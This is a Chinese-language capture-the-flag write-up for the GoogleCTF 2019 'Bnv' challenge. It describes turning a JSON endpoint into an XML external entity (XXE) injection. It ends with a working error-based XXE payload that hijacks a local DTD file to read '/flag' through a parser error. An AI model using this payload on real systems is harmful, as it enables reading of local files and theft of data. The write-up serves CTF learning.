[GoogleCTF2019 Quals]Bnv

先bp抓包发现

1

是json数据:由json数据想到是xxe注入,再次基础上修改Content-Type为application/xml,发现是少了一个<,感觉是少了一个xml文件的头,加一个

2

1
<?xml version="1.0" encoding="UTF-8"?>

3

报错说是没找到DTD文件,添加DTD文件的实体

1
2
3
4
5
<?xml version="1.0"?>
<!DOCTYPE message[
<!ENTITY xxe "135601360123502401401250">
]>
<message>&xxe;</message>

4

报错没有元素消息的声明

5

可以看到报错没有元素消息的声明,显然解析器需要在DTD中声明以定义的元素,有点像在使用变量之前声明变量。所以让我们给它想要的,我们要做的就是在DTD中声明消息,我们可以通过使用数据,指定名为message的元素来实现这一点,定义类型设置为PC数据,现在让我们继续尝试。

这里得说一下DTD
文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。DTD可被成行地声明于XML文档中,也可作为一个外部引用。带有DTD的XML文档实例
6

回显成功,通过外带数据的形式添加一7个外部实体来发出出口请求。

未加载外部实体,需要使用内部dtd文件加载,(之前还用加载文件的方法,结果标记错误)8

10

最后的数据:

1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0"?>
<!DOCTYPE message[
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///flag">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///aaaaa/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>

9

参考链接:https://blog.csdn.net/cjdgg/article/details/114420160